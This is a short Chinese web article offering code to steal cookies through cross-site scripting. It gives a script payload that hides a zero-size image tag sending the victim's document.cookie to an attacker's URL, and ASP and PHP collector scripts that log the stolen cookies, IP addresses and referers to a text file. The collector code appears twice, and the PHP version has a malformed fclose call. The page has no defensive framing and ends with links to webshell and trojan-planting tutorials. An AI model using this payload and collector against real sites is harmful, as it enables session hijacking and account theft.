asp php XSS获取cookie的代码
时间:2009-03-24 09:40:19 魔新豆网
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
PHP版代码:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '
.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>
news.asp代码:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
PHP版代码:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '
.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>
本文标签:
- 上一篇:网页挂马详细步骤教程
- 下一篇:CSRF—攻击与防御
读过此篇文章的网友还读过:
- 教你用Flash AS行代码简单画一棵漂亮的树
- Flash舞台怎么导入txt文本文件? Flash从文本文件获取数据的教程
- 优化Flash Actionscript代码的三种方法
- 笔记本开机进不去系统 错误代码0xc000000f的解决办法
- 三星Tab4怎么Root?三星Galaxy Tab4获取Root权限图文教程
- 盘点六大最有意义的灾难电影 神秘代码呈现出了「预言」的意义
- 打印机操作无法完成错误代码0x00000015的解决办法
- 佳能彩色激光打印机(2260/2360)常见故障代码
- 联想LJ-6012故障代码信息
- 十种获取webshell的方法
- swf 调用网马代码
- MYSQL注入获取web路径的几个方法